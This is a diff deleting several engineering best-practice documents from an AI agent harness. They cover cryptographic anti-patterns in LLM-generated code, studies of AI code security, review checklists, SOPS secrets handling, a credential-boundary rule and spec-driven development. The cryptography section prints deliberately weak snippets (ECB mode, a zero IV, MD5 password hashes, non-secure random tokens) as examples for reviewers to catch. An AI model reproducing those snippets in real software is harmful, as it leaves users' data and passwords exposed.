-LLMs reproduce cryptographic anti-patterns from training data. CWE-780 (Use of RSA without OAEP) is the most observed weakness in Java. Common failures include using ECB mode (which leaks patterns), predictable IVs, deprecated algorithms (MD5, SHA-1 for security purposes), and rolling custom crypto. Cryptography misconfiguration appears in approximately 22-24% of security vulnerabilities across leading LLM models.
-
-### Vulnerable patterns
-
-**ECB mode (Python):**
-```python
-from Crypto.Cipher import AES
-cipher = AES.new(key, AES.MODE_ECB)  # ECB leaks patterns in ciphertext
-ciphertext = cipher.encrypt(plaintext)
-```
-
-**Hardcoded IV:**
-```python
-iv = b'\x00' * 16  # Predictable IV defeats the purpose of CBC/GCM
-cipher = AES.new(key, AES.MODE_CBC, iv=iv)
-```
-
-**MD5 for password hashing:**
-```python
-import hashlib
-password_hash = hashlib.md5(password.encode()).hexdigest()  # Broken for security
-```
-
-**Weak random for tokens:**
-```python
-import random
-token = ''.join(random.choices(string.ascii_letters, k=32))  # Not cryptographically secure
-```
-
-### Secure alternatives
-
-**AES-GCM with random IV:**
-```python
-from Crypto.Cipher import AES
-from Crypto.Random import get_random_bytes
-
-key = get_random_bytes(32)  # AES-256
-nonce = get_random_bytes(12)  # Random nonce for GCM
-cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
-ciphertext, tag = cipher.encrypt_and_digest(plaintext)
-# Store nonce + tag + ciphertext together
-```
-
-**Proper password hashing:**
-```python
-import bcrypt
-# Hashing
-password_hash = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))
-# Verification
-bcrypt.checkpw(password.encode(), stored_hash)
-```
-
-**Cryptographically secure random:**
-```python
-import secrets
-token = secrets.token_urlsafe(32)  # Cryptographically secure
-```
-
-### How to catch it in review
-
-- Search for `MODE_ECB` -- should almost never be used
-- Search for `md5`, `sha1` used for passwords or security tokens (fine for checksums, not for security)
-- Search for `random.` (stdlib) used for tokens, keys, or security values -- should be `secrets.`
-- Search for hardcoded IVs: `iv = b'`, `iv = bytes(`, `nonce = b'\x00`
-- Search for `hashlib` used directly for password storage -- should be `bcrypt`, `argon2`, or `scrypt`
-- Use `bandit` which has specific checks for weak crypto (B303, B304, B305)
-
----
-
-## 9. Research Findings (2024-2026)
-
-### ACM / TOSEM: Security Weaknesses of Copilot-Generated Code in GitHub Projects
-Analyzed real-world Copilot-generated code on GitHub. Found 29.5% of Python and 24.2% of JavaScript snippets contained security weaknesses across 43 CWE categories. Top weaknesses: CWE-330 (insufficiently random values), CWE-94 (code injection), CWE-79 (XSS).
-
-### Large-Scale GitHub Analysis (October 2025)
-Analyzed 7,703 files from 4 AI tools across public GitHub repos. Found 4,241 CWE instances across 77 distinct vulnerability types. ChatGPT-generated code comprised 91.5% of the sample, Copilot 7.5%.
-
-### Slopsquatting Research (2025)
-576,000 code samples across 16 LLMs: 19.7% of suggested packages were hallucinations (205,474 unique fake names). Open-source models hallucinated at 21.7%, commercial at 5.2%. 43% of hallucinated names appeared consistently (predictable, attackable).
-
-### Endor Labs: State of Dependency Management (2025)
-80% of AI-suggested dependencies contain known risks. 44-49% of dependencies imported by coding agents contained known security vulnerabilities.
-
-### Copilot Code Review Study (2025)
-GitHub Copilot's code review feature frequently fails to detect critical vulnerabilities (SQL injection, XSS, insecure deserialization). Primarily flags low-severity issues like coding style.
-
-### Sonar: Coding Personalities of Leading LLMs (2025)
-Multi-model analysis finding that cryptography misconfiguration appears in 22-24% of vulnerabilities across leading models. Missing input sanitization is the most common flaw category.
-
-### GenKubeSec / KubeGuard (2024-2025)
-Research on LLM-generated Kubernetes configurations found models confidently recommend insecure configurations and may suggest "allow all" rules to satisfy functional requirements.
-
-### OWASP Top 10 for LLM Applications (2025 Update)
-Updated to reflect agentic AI risks. Key additions: System Prompt Leakage, Excessive Agency. Improper Output Handling (treating LLM output as trusted) remains a top-5 risk. Core message: treat all LLM output as untrusted data.
-
-### Security Degradation in Iterative Generation (2025)
-Code security degrades with iterative LLM refinement -- each round of "fix this" prompting can introduce new vulnerabilities while fixing the original one.
-
----
-
-## 10. Practical Review Checklist
-
-Use this checklist when reviewing LLM-generated code:
-
-### Python
-- [ ] No string formatting in SQL queries (use parameterised queries)
-- [ ] No `shell=True` in subprocess calls
-- [ ] No `verify=False` in HTTP requests
-- [ ] No `random.` for security values (use `secrets.`)
-- [ ] No `hashlib.md5/sha1` for passwords (use `bcrypt`/`argon2`)
-- [ ] No hardcoded credentials (search for `password =`, `api_key =`, `token =`)
-- [ ] Input validation on all API endpoints (Pydantic, marshmallow)
-- [ ] Error handlers return generic messages, log details internally
-- [ ] `debug=False` in production config
-- [ ] All dependencies exist on PyPI and are pinned to audited versions
-- [ ] `host="127.0.0.1"` unless external binding is explicitly required
-
-### Shell Scripts
-- [ ] All variables quoted (`"$var"` not `$var`)
-- [ ] User-provided paths validated with `realpath` and boundary checks
-- [ ] No secrets as command-line arguments (use files or env vars)
-- [ ] No `chmod 777` or `chmod 666`
-- [ ] ShellCheck passes with no warnings
-
-### Kubernetes Manifests
-- [ ] `securityContext` present with `runAsNonRoot: true`, `readOnlyRootFilesystem: true`, `allowPrivilegeEscalation: false`
-- [ ] `capabilities.drop: ["ALL"]`
-- [ ] `resources.requests` and `resources.limits` defined
-- [ ] No `privileged: true`
-- [ ] No `cluster-admin` RBAC bindings
-- [ ] `automountServiceAccountToken: false` where K8s API access is not needed
-- [ ] Images pinned to digest or specific version (not `:latest`)
-- [ ] Services use `ClusterIP` by default (not `LoadBalancer`/`NodePort` without justification)
-- [ ] NetworkPolicy exists for the namespace/workload
-
-### Helm Charts
-- [ ] `values.yaml` includes secure defaults for securityContext, resources, service type
-- [ ] Templates don't embed secrets in plaintext
-- [ ] Chart version and appVersion pinned
-- [ ] `helm template` renders valid, secure manifests with default values
-- [ ] `values.schema.json` validates required security fields
-
----
-
-## Sources
-
-- [Security Weaknesses of Copilot-Generated Code in GitHub Projects (ACM TOSEM)](https://dl.acm.org/doi/10.1145/3716848)
-- [Security Vulnerabilities in AI-Generated Code: A Large-Scale Analysis (arXiv, Oct 2025)](https://arxiv.org/abs/2510.26103)
-- [The Most Common Security Vulnerabilities in AI-Generated Code (Endor Labs)](https://www.endorlabs.com/learn/the-most-common-security-vulnerabilities-in-ai-generated-code)
-- [Endor Labs 2025 State of Dependency Management Report](https://www.prnewswire.com/news-releases/endor-labs-launches-2025-state-of-dependency-management-report-finds-80-of-ai-suggested-dependencies-contain-risks-302603438.html)
-- [LLMs' AI-Generated Code Remains Wildly Insecure (Dark Reading)](https://www.darkreading.com/application-security/llms-ai-generated-code-wildly-insecure)
-- [Popular LLMs Found to Produce Vulnerable Code by Default (Infosecurity Magazine)](https://www.infosecurity-magazine.com/news/llms-vulnerable-code-default/)
-- [Slopsquatting: How AI Hallucinations Are Fueling Supply Chain Attacks (Socket.dev)](https://socket.dev/blog/slopsquatting-how-ai-hallucinations-are-fueling-a-new-class-of-supply-chain-attacks)
-- [Slopsquatting meets Dependency Confusion (Andrew Nesbitt)](https://nesbitt.io/2025/12/10/slopsquatting-meets-dependency-confusion.html)
-- [AI-Generated Code Packages Can Lead to Slopsquatting Threat (DevOps.com)](https://devops.com/ai-generated-code-packages-can-lead-to-slopsquatting-threat-2/)
-- [OWASP Top 10 for LLM Applications 2025](https://owasp.org/www-project-top-10-for-large-language-model-applications/)
-- [OWASP LLM Top 10: How it Applies to Code Generation (Sonar)](https://www.sonarsource.com/resources/library/owasp-llm-code-generation/)
-- [The Coding Personalities of Leading LLMs (SonarSource)](https://www.sonarsource.com/the-coding-personalities-of-leading-llms.pdf)
-- [GenKubeSec: LLM-Based Kubernetes Misconfiguration Detection](https://arxiv.org/html/2405.19954v1)
-- [KubeGuard: LLM-Assisted Kubernetes Hardening](https://arxiv.org/abs/2509.04191)
-- [Security Degradation in Iterative AI Code Generation (arXiv)](https://arxiv.org/pdf/2506.11022)
-- [GitHub Copilot's Code Review: Can AI Spot Security Flaws? (arXiv)](https://arxiv.org/html/2509.13650v1)
-- [Security Risks of Vibe Coding and LLM Assistants (Kaspersky)](https://www.kaspersky.com/blog/vibe-coding-2025-risks/54584/)
-- [The Risks of Hardcoding Secrets in Code Generated by LLMs (Cycode)](https://cycode.com/blog/the-risks-of-hardcoding-secrets-in-code-generated-by-language-learning-models/)
-- [Security Flaws in DeepSeek-Generated Code (CrowdStrike)](https://www.crowdstrike.com/en-us/blog/crowdstrike-researchers-identify-hidden-vulnerabilities-ai-coded-software/)

harnesses/contexts/planning/v1/best-practices/secrets-management.md

@@ -1,108 +0,0 @@
-# Secrets Management
-
-## SOPS + age
-
-SOPS with age encryption is the standard across all projects. A single `.sops.yaml` at the repo root defines path-based encryption rules.
-
-### File Naming
-
-- `.sops.yaml` path-based rules match specific filename patterns (e.g., `**/*secret*.yaml`)
-- Non-secret files must NOT contain `secret` in their name, or the pre-commit hook will encrypt them
-- KSOPS generator files should be named `ksops-generator.yaml`, not `secret-generator.yaml`
-
-### encrypted_regex Gotcha
-
-When using `encrypted_regex` for selective field encryption (e.g., Ansible group_vars), variable names must contain a keyword that matches the regex (e.g., `password|private_key|api_key|secret|token`). Arbitrary key names are silently left unencrypted.
-
-### SOPS Vars Plugin
-
-Each Ansible project needs `vars_plugins_enabled = host_group_vars,community.sops.sops` in `ansible.cfg`. Files in `group_vars/` must be named after a group (e.g., `all.sops.yaml`), not arbitrary names.
-
-### Interactive Editor Pitfalls
-
-- `sops <file>` opens an interactive editor — fails in non-interactive sessions
-- `sops -e /tmp/file` fails when the temp path doesn't match `.sops.yaml` rules
-- Multiple `sops --set` calls can corrupt files — use the interactive editor for multi-field edits
-
-## Credential Handling
-
-- **Never pass secrets via command-line arguments** — visible in `ps` output
-- Use `@file` references, environment variables sourced at runtime, or stdin
-- For Ansible, use temp files with `trap rm` cleanup: `-e "@${tmpfile}"`
-- Read secrets at execution time and use them ephemerally — never cache or persist values
-- Reference the **existence** of a secret file in docs, never its contents
-
-## Bootstrap Secrets
-
-Some secrets are chicken-and-egg (e.g., the age decryption key for ArgoCD's KSOPS). These must be created manually as a bootstrap step and documented clearly.
-
-## Credential Lifecycle Management
-
-- **Track credential expiry dates.** OAuth client secrets, API tokens, and certificates have expiry dates that can cause silent failures. Document expiry dates when creating credentials.
-- **Set alerts before expiry.** For long-lived credentials (e.g., 720-day OAuth client secrets), set calendar reminders or automated monitoring alerts well before they expire.
-- **Rotation plan.** Know the rotation procedure before you need it — some credential types (e.g., Azure app registrations) require coordinated updates across multiple systems.
-
-## Multi-Field Secret Files
-
-Secret files that contain multiple fields (e.g., repo URL, token, username) cannot be used as bare values. Consumers must parse individual fields (e.g., `grep + awk` or structured YAML/JSON parsing).
-
-The multi-field format is preferable because it's self-documenting — all related credentials live together. But any automation reading the file needs extraction logic, not just `cat`.
-
-## Generating Secrets with gen-secret
-
-Use the `gen-secret` script (from `small-scripts`, symlinked to `~/sbin/gen-secret`) to generate cryptographically random strings that are safe for bash, YAML, and JSON without escaping.
-
-### Workflow: Generate + SOPS Encrypt
-
-1. **Generate the secret value** — use `gen-secret` with an appropriate length:
-   ```bash
-   SESSION_SECRET=$(gen-secret 48)    # 48-char session key
-   API_KEY=$(gen-secret 20)           # 20-char access key
-   API_SECRET=$(gen-secret 40)        # 40-char secret key
-   ```
-
-2. **Write plaintext YAML to the target path** — the file must be at the path matched by `.sops.yaml` rules (e.g., `**/*secret*.yaml`):
-   ```bash
-   cat > path/to/my-secret.sops.yaml <<EOF
-   apiVersion: v1
-   kind: Secret
-   metadata:
-     name: my-credentials
-     namespace: my-namespace
-   type: Opaque
-   stringData:
-     SESSION_SECRET: ${SESSION_SECRET}
-     API_KEY: ${API_KEY}
-   EOF
-   ```
-
-3. **Encrypt in-place** — SOPS reads `.sops.yaml` to determine the encryption key and regex:
-   ```bash
-   sops -e -i path/to/my-secret.sops.yaml
-   ```
-
-4. **Verify** — decrypt and confirm no placeholders remain:
-   ```bash
-   sops -d path/to/my-secret.sops.yaml
-   ```
-
-### Key Points
-
-- **Always encrypt at the target path.** `sops -e /tmp/file.yaml` fails because `/tmp/` doesn't match `.sops.yaml` path rules. Write the plaintext to the final location, then `sops -e -i` in-place.
-- **Use shell variables, not files, for ephemeral secrets.** Generate into a variable (`SECRET=$(gen-secret 48)`), interpolate into the YAML, then encrypt. The plaintext never touches disk as a standalone file.
-- **Appropriate lengths:** 32 chars is the default and sufficient for most use cases. Use 48+ for session secrets, 20 for access key IDs, 40 for secret keys (matching common API patterns).
-- **For credentials from external systems** (e.g., Gitea API tokens, registry passwords), read them from `~/dev/claude/secrets/` at point of use — don't generate random replacements for values that must match an external system.
-- **Clean up temp files** if you write plaintext to a temporary location. Use `trap` cleanup or `rm -f` after encryption.
-
-### Replacing Placeholder Secrets
-
-When SOPS-encrypted files contain placeholder values (e.g., `PLACEHOLDER_SESSION_SECRET`):
-
-1. Decrypt: `sops -d secret.sops.yaml` — inspect current values
-2. Write the corrected plaintext YAML to the same path (overwriting the encrypted file)
-3. Re-encrypt: `sops -e -i secret.sops.yaml`
-4. Verify: `sops -d secret.sops.yaml | grep -c PLACEHOLDER` — should return 0
-
-## Backup Considerations
-
-Backup plans must include encryption keys (age private keys, etc.) so that encrypted data in Git repos remains recoverable.

harnesses/contexts/planning/v1/best-practices/security-architecture.md

@@ -1,79 +0,0 @@
-# Security Architecture
-
-## The Server Boundary Rule
-
-**No server-side credential may cross the server boundary to the client. Ever.**
-
-This is a hard line, not a guideline. The only credentials that cross the boundary between client and server are the client's own identity credentials (MFA tokens, login passwords, OIDC tokens, etc.) — and these flow from client to server, never the reverse.
-
-### What this means in practice
-
-- **API tokens stay server-side.** If a browser-based application needs to call a third-party API (Gitea, S3, database, etc.), it calls a backend proxy that holds the token. The token never appears in JavaScript, localStorage, cookies, or any client-accessible storage.
-- **Service account credentials stay server-side.** Database passwords, S3 access keys, webhook secrets, SMTP credentials — these are mounted into server-side containers via Kubernetes Secrets or environment variables and never exposed to clients.
-- **OAuth tokens for third-party services stay server-side.** If a user authenticates with Service A and the application needs to call Service B on their behalf, the application's backend holds the Service B credentials. The client only ever sees its own session token with the application.
-- **Per-user tokens mapped server-side.** When individual users need distinct third-party access (e.g., per-user Gitea tokens for audit trails), the mapping from user identity to their token lives on the server. The client authenticates with its own identity (e.g., via Authelia MFA), and the server looks up the appropriate third-party token.
-
-### The identity exception
-
-The only credentials that legitimately cross from client to server:
-
-- **Username + password** — the user's own login credentials
-- **MFA tokens** — TOTP codes, WebAuthn assertions, security key responses
-- **OIDC/OAuth tokens** — tokens that represent the user's identity with the application itself (not with third-party services)
-- **Session cookies/JWTs** — issued by the server to represent an authenticated session
-
-These all share the property: they are the user's own identity, flowing from client to server for authentication purposes.
-
-### Architecture pattern: proxy with identity mapping
-
-When a client-side application (SPA, CMS, admin UI) needs to interact with a backend service that requires credentials:
-
-```
-Client ──→ Auth Layer (MFA) ──→ API Proxy ──→ Backend Service
-                                  │
-                                  ├── Reads user identity from auth headers
-                                  ├── Looks up user's backend credential
-                                  ├── Forwards request with backend credential
-                                  └── Returns response (without credential)
-```
-
-The proxy:
-1. Sits behind the authentication layer (Authelia, OAuth2 Proxy, etc.)
-2. Reads the authenticated user's identity from trusted headers (e.g., `Remote-User`)
-3. Maps the identity to the appropriate backend credential
-4. Makes the backend API call with the credential
-5. Returns the response — never the credential
-
-### Security layers (defense in depth)
-
-A well-designed proxy architecture has multiple independent security layers:
-
-1. **Authentication** — User must prove their identity (MFA, OIDC)
-2. **Session validation** — Proxy validates the session is current and legitimate
-3. **Authorization** — Proxy checks the user has access to the requested resource
-4. **Backend permissions** — The backend service enforces its own access controls
-5. **Branch/scope protection** — Fine-grained controls prevent privilege escalation (e.g., branch protection rules)
-
-Each layer is independent — compromising one doesn't bypass the others.
-
-### Anti-patterns
-
-- **Passing API tokens to the browser via OAuth.** Even with PKCE, the token ends up in client-accessible storage. Use a backend proxy instead.
-- **Shared service account tokens.** One token for all users means no audit trail and no granular revocation. Map per-user tokens server-side.
-- **Embedding credentials in client-side config.** API keys in `config.js`, `.env` files served statically, or hardcoded in HTML — all violate the boundary rule.
-- **Forwarding backend tokens via API responses.** Even "temporarily" returning a token in a response body breaks the rule. The client should never see it.
-- **Using the same token for client auth and backend calls.** The user's session token with your application is distinct from any token your application uses to call backend services.
-
-### When credentials must be client-side
-
-Some scenarios genuinely require client-side credentials (e.g., direct S3 uploads for large files, WebRTC signaling). In these cases:
-- Use **presigned URLs** or **temporary credentials** with the narrowest possible scope and shortest possible lifetime
-- The presigning/credential-issuance happens server-side
-- The temporary credential is scoped to exactly one operation (e.g., upload one file to one path)
-- Log the issuance server-side for audit
-
-### Real-world example: CMS editing
-
-**Wrong:** CMS authenticates directly with Gitea via OAuth popup. Gitea token lands in browser localStorage. CMS makes API calls directly to Gitea with the token.
-
-**Right:** CMS sits behind Authelia (MFA). A proxy service intercepts the OAuth flow, issues a proxy session token (containing only the user's identity), and forwards all API calls to Gitea using a per-user server-side Gitea token. The Gitea token never leaves the server.

harnesses/contexts/planning/v1/best-practices/spec-driven-development.md

@@ -1,250 +0,0 @@
-# Spec-Driven Development with AI Agents
-
-Best practices for using structured specifications to coordinate AI agent implementation work. Extracted from real project experience (agent-runtimes) and industry research (OpenSpec, Codified Context paper, Addy Osmani's workflow guides).
-
-## Why Specs Matter for AI Agents
-
-AI agents trust documentation absolutely. A well-written spec gives an agent everything it needs to implement a subsystem without reading the entire codebase. A stale or vague spec causes silent failures where agents generate code that is structurally valid but architecturally wrong.
-
-Specs serve three functions that CLAUDE.md alone cannot:
-1. **Compressed context** — an agent reads one spec, not 300 lines of mixed concerns
-2. **Testable contracts** — numbered requirements and scenarios translate directly to pytest
-3. **Handoff boundaries** — an agent working on the dispatcher doesn't need to understand the entrypoint internals, just the interface between them
-
-## Spec Structure
-
-Each spec follows a consistent template. Sections are ordered so an agent can read top-down and build understanding progressively.
-
-### Required Sections
-
-1. **Overview** — What this subsystem does. 2-3 sentences. An agent should know if this spec is relevant after reading this.
-2. **Responsibilities** — What this subsystem owns and what it delegates. Prevents scope creep during implementation.
-3. **Dependencies** — Which other specs to read first. Keeps the reading list minimal.
-4. **Data Model** — Types, schemas, state machines, interfaces. The concrete contract.
-5. **Requirements** — Numbered functional requirements (e.g., E-1, E-2). Each must be independently testable.
-6. **Scenarios** — Concrete given/when/then examples. These become test functions.
-
-### Optional Sections
-
-7. **Interface** — API surface, function signatures, HTTP endpoints. Include when the subsystem has an external-facing API.
-8. **Extension Points** — How to add new capabilities without modifying existing code. Step-by-step instructions.
-9. **Error Handling** — Failure modes and expected behaviour. Prevents agents from inventing their own error strategies.
-
-### Writing Guidelines
-
-- **Be specific, not comprehensive.** A spec that says "handle errors appropriately" is useless. A spec that says "return exit code 124 on timeout" is testable.
-- **Include the why.** Design intent and constraints prevent agents from making structurally valid but architecturally wrong changes. Requirements without rationale are followed mechanically — agents can't judge edge cases or make trade-offs. Every constraint needs a "Why:" line. Example: `"Secrets never in payload"` needs `"because payloads may be logged and stored in task history"`.
-- **Use concrete examples.** Every data model section should include a realistic JSON/code example, not just a schema.
-- **Cross-reference, don't duplicate.** If two specs share a concept (e.g., the payload schema), one spec owns it and the other links to it.
-- **Keep each spec self-contained.** An agent should be able to implement a subsystem by reading the target spec plus its listed dependencies. If it needs to read CLAUDE.md, the spec is incomplete.
-
-## Requirement Numbering
-
-Each spec uses a short prefix derived from its name, followed by a sequential number:
-
-| Spec | Prefix | Example |
-|---|---|---|
-| payload.md | P | P-1, P-2 |
-| entrypoint.md | E | E-1, E-2 |
-| actions.md | A | A-1, A-2 |
-| runners.md | R | R-1, R-2 |
-| dispatcher.md | D | D-1, D-2 |
-| control-plane.md | CP | CP-1, CP-2 |
-
-Requirements must be:
-- **Independently testable** — each maps to one or more test functions
-- **Unambiguous** — an agent can determine pass/fail without human judgement
-- **Stable** — changing a requirement number invalidates tests, so avoid renumbering
-
-## Scenarios as Test Blueprints
-
-Every scenario in a spec should be directly translatable to a test function. Use this format:
-
-```markdown
-### Scenario: Pre-action failure
-**Given:** Payload with clone pre-action (invalid repo URL)
-**When:** Clone fails (git returns non-zero)
-**Then:** on_error actions run, container exits 1. Runner never executes.
-```
-
-This becomes:
-
-```python
-def test_scenario_preaction_failure_runs_on_error_and_exits_1(...):
-    """Given clone fails, on_error runs and exits 1. Runner never executes."""
-```
-
-Guidelines:
-- Each scenario tests one behaviour, not a combination
-- Include both happy paths and error paths
-- Name the scenario descriptively — it becomes the test function's docstring
-- Include enough setup detail that an agent can write the test without guessing
-
-## The Spec → Test → Code Workflow
-
-This is the core development loop. Tests are written from the spec before code exists.
-
-### 1. Write or Update the Spec
-
-Define requirements and scenarios. Get them reviewed. The spec is the source of truth for what the system should do.
-
-### 2. Write Tests from the Spec
-
-Translate requirements and scenarios into pytest functions. Tests should:
-- Map to requirement IDs in their names: `test_e4_preaction_failure_skips_remaining`
-- Use the scenario's given/when/then as the test body structure
-- Mock external dependencies (subprocess, HTTP, filesystem)
-- Run fast (no Docker, no network, no real APIs)
-
-### 3. Run the Tests — They Should All Fail
-
-This confirms the tests are actually testing something. If a test passes before implementation, it's either testing the wrong thing or the feature already exists.
-
-### 4. Implement Until Tests Pass
-
-Write the minimum code to make tests pass. The spec defines what, the tests verify it, the code implements it.
-
-### 5. Update Spec if Implementation Reveals Issues
-
-Sometimes implementation reveals that a requirement is unworkable or incomplete. Update the spec, update the test, then update the code. The spec stays authoritative.
-
-## Spec Maintenance
-
-### Preventing Drift
-
-Specs drift from code when they're treated as planning documents that are "done" after implementation. They must be treated as living contracts.
-
-**Rules:**
-- **Spec changes require test changes.** If a requirement changes, its test must change in the same commit.
-- **Code changes that affect interfaces require spec changes.** If a function signature, API endpoint, or data schema changes, the relevant spec must be updated in the same commit.
-- **New features require spec-first.** Add the requirement and scenario to the spec, write the test, then implement.
-
-### CI Enforcement
-
-Enforce spec hygiene with automated checks:
-
-1. **Pre-commit hook** — run pytest, block commit on failure (already implemented)
-2. **Spec coverage check** — a script that verifies every numbered requirement has at least one test function referencing it
-3. **Orphan test detection** — tests referencing requirement IDs that no longer exist in specs
-
-Before completing any milestone, manually walk through every requirement ID (e.g., CP-1..CP-20, TH-1..TH-13) and verify a corresponding test exists. Automated spec coverage checks catch this in CI, but a manual audit before milestone completion catches gaps that the automation might miss (stubs, placeholder tests, tests that reference the ID but don't actually test the requirement).
-
-### Review Checklist
-
-When reviewing a PR that touches a spec subsystem:
-- [ ] Spec updated if interface or behaviour changed
-- [ ] Test added/updated for new/changed requirements
-- [ ] Cross-references still valid
-- [ ] No requirements removed without deprecation note
-
-## Context Architecture for Agents
-
-Based on the Codified Context paper (108k-line system, 283 sessions), structure project knowledge in three tiers:
-
-### Tier 1: Hot Context (Always Loaded)
-
-CLAUDE.md — conventions, env vars, repo structure, scripts. Loaded every session. Keep under ~300 lines by linking to details elsewhere.
-
-### Tier 2: Spec Context (Per-Task)
-
-`spec/` files — loaded based on what the agent is working on. An agent implementing a new action reads `spec/actions.md` + `spec/payload.md`. An agent working on the dispatcher reads `spec/dispatcher.md` + `spec/container-backends.md`.
-
-The spec index (SPEC.md) has a "read this when..." column to guide selection.
-
-### Tier 3: Cold Context (On-Demand)
-
-`memory/` files — gotchas, reflections, decisions. Loaded only when relevant. An agent hitting a weird Cilium issue checks `memory/gotchas-cilium.md`.
-
-### Routing Context to Agents
-
-When launching an agent to work on a subsystem:
-1. Point it at the relevant spec(s) via its prompt
-2. Include CLAUDE.md for conventions
-3. Let it pull from memory/ on-demand if it hits issues
-
-Don't load everything — agents perform better with focused context than with a 50-page dump.
-
-## Testing Depth
-
-The spec→test→code workflow defines *when* to write tests. For *how* to write comprehensive tests — edge case discovery, property-based testing, mutation testing, AI agent testing patterns — see [Test-Driven Development](test-driven-development.md).
-
-## Post-Write Spec Audit
-
-After writing specs, audit them against best practices before implementation. Common gap categories:
-
-1. **Missing rationale** — Constraints without "Why:" lines. Agents follow them mechanically but can't judge edge cases.
-2. **Missing error/failure scenarios** — Happy paths are covered but failure modes aren't specified.
-3. **Cross-spec interface misalignment** — Two specs describe the same interface differently.
-4. **Vague requirements** — "Handle errors appropriately" instead of specific error codes and behaviours.
-5. **Missing specs for discovered subsystems** — Implementation reveals components that weren't planned for.
-
-Write-then-audit is more productive than trying to get specs perfect on the first pass. The audit step catches systematic gaps across all specs at once.
-
-## Planning Session Limits
-
-Architecture decisions, infrastructure research, and spec refinement each get one planning session. After three sessions of planning, start implementation. Specs are hypotheses that need code to validate them — extended planning without implementation produces diminishing returns and theoretical designs that don't survive contact with reality.
-
-## Categorize Findings Before Acting
-
-When a spec review or audit produces many findings, categorize them by priority (high/medium/low) before making changes. Present the categorized list for alignment before editing. Starting edits without prioritization leads to scope creep — low-priority cosmetic fixes consume time that should go to high-priority structural gaps.
-
-## Multi-Agent Orchestration Practices
-
-### Commit WIP Before Decomposing Tasks
-
-Untracked and uncommitted files are NOT available in git worktrees. If agents work in worktrees (or container-mounted worktrees), they won't see specs, plans, or dependency outputs that haven't been committed. Commit to a staging branch before decomposition — this eliminates the dominant overhead of manually copying files into each worktree.
-
-### Agents Must Self-Verify with Tests
-
-Add "Run tests and fix any failures" to every implementation agent prompt. Agents that write code without running tests produce bugs that only surface during assembly. Self-verification catches issues while the agent still has full context of what it wrote.
-
-### State Import and Style Conventions Explicitly
-
-Agents default to standard language conventions (e.g., relative Python imports, standard packaging). If the project uses non-standard patterns (bare imports, specific naming conventions, module-level structure), state them explicitly in the prompt. A single line like "Use `from harness import X`, not `from .harness import X`" prevents import mismatches during assembly.
-
-### Budget for Assembly Fixups
-
-Parallel agent work produces ~3 fixups per orchestration run, each under 5 minutes. Common fixup categories: import conventions, module-level side effects, SDK exception constructor signatures, validator patterns. This is the expected cost of parallel work, not a failure. Budget 15-20 minutes for assembly and fixup after each orchestration run.
-
-### Two-Phase Orchestration: Specs First, Then Implementation
-
-When orchestrating multi-agent work for a milestone, decompose in two phases:
-1. **Phase 1:** Spec-writing agents produce the contracts (using the plan as input).
-2. **Review:** Human reviews specs for cross-spec consistency before proceeding.
-3. **Phase 2:** Implementation agents receive actual spec files (not plan descriptions).
-
-This works significantly better than defining all tasks upfront because spec agents validate the plan against reality, the review step catches cross-spec inconsistencies, and implementation agents work from concrete contracts rather than plan summaries.
-
-### Include an Integration Verification Task After Orchestration
-
-Agent orchestration leaves integration gaps at component boundaries. Each agent completes its assigned scope correctly, but nobody owns the integration points between them (e.g., stub comments, ORM mapping methods not updated for new fields). After every orchestration run, include an explicit integration verification step that checks cross-component contracts — call sites, shared data models, and handoff points.
-
-### Decompose Along File Boundaries
-
-When splitting work into parallel agent tasks, ensure each task writes to distinct files. When two agents must modify the same file, make the shared changes small and predictable — identify the conflict point upfront so the merge is trivial. File-boundary decomposition produces zero-conflict assemblies.
-
-### Choose Manual Implementation for Tightly-Coupled Cross-Component Work
-
-When changes are small per file (5-15 lines) but tightly coupled across many files (each change depends on the previous), skip agent orchestration and implement manually. The assembly overhead exceeds the implementation time. Agent orchestration excels when tasks are independent and substantial; manual implementation excels when work is sequential and interconnected.
-
-## Anti-Patterns
-
-### Specs as documentation, not contracts
-**Symptom:** Specs describe what was built, updated after the fact. Tests don't reference spec IDs.
-**Fix:** Write specs before code. Tests reference requirement IDs. Specs are the input, not the output.
-
-### Mega-spec
-**Symptom:** One large spec covering the entire system. Agents must read thousands of lines to find what they need.
-**Fix:** Split by subsystem. Each spec should be readable in under 5 minutes.
-
-### Spec without scenarios
-**Symptom:** Requirements are abstract ("handle errors gracefully"). No concrete examples.
-**Fix:** Every requirement needs at least one given/when/then scenario with specific inputs and outputs.
-
-### Implementation details in specs
-**Symptom:** Spec dictates variable names, algorithm choices, internal data structures.
-**Fix:** Specs define what and why, not how. The interface is specified; the implementation is free.
-
-### Untested requirements
-**Symptom:** Requirements exist in the spec but no test references them. They drift without anyone noticing.
-**Fix:** Spec coverage check in CI. Every requirement ID must appear in at least one test function name.

harnesses/contexts/planning/v1/best-practices/test-driven-development.md

@@ -1,486 +0,0 @@
-# Test-Driven Development for Spec-Based Projects
-
-Best practices for writing comprehensive, regression-catching tests in projects that use structured specifications. Focuses on maximising test value (catching real bugs) rather than test volume (inflating coverage numbers). Extracted from industry research, academic papers (TDAD, Codified Context), and practitioner experience.
-
-## Core Principle: Tests Are the Spec's Enforcement Layer
-
-In a spec-driven project, the spec defines *what* and the tests *prove it*. A requirement without a test is an aspiration. A test without a requirement is undocumented behaviour. Keep them tightly coupled:
-
-- Every numbered requirement (P-1, E-3) has at least one test
-- Every test function name includes its requirement ID: `test_e3_preaction_failure_exits_1`
-- Spec changes and test changes ship in the same commit
-
-## Deriving Tests from Specs
-
-### Requirements to Tests
-
-Each spec requirement becomes one or more test functions. The mapping isn't always 1:1 — a requirement like "must respect timeout" needs tests for: default timeout, explicit timeout, timeout=0 (no limit), timeout exceeded.
-
-```python
-# From spec: R-4: Runners must respect runtime.timeout.
-# Default 3600s. Value of 0 means no timeout.
-
-def test_r4_default_timeout_is_3600():
-    """R-4: When timeout not specified, default is 3600s."""
-
-def test_r4_explicit_timeout_is_honoured():
-    """R-4: When timeout=60, process killed after 60s."""
-
-def test_r4_zero_timeout_means_no_limit():
-    """R-4: When timeout=0, no timeout is applied."""
-
-def test_r4_timeout_returns_exit_code_124():
-    """R-4 + R-5: Timeout produces exit code 124."""
-```
-
-### Scenarios to Tests
-
-GIVEN/WHEN/THEN scenarios translate directly to Arrange/Act/Assert:
-
-```python
-def test_scenario_preaction_failure_runs_on_error():
-    """Given clone fails, on_error runs and exits 1. Runner never executes."""
-    # GIVEN — arrange
-    payload = make_payload(pre_actions=[{"action": "clone", "repo": "bad-url"}])
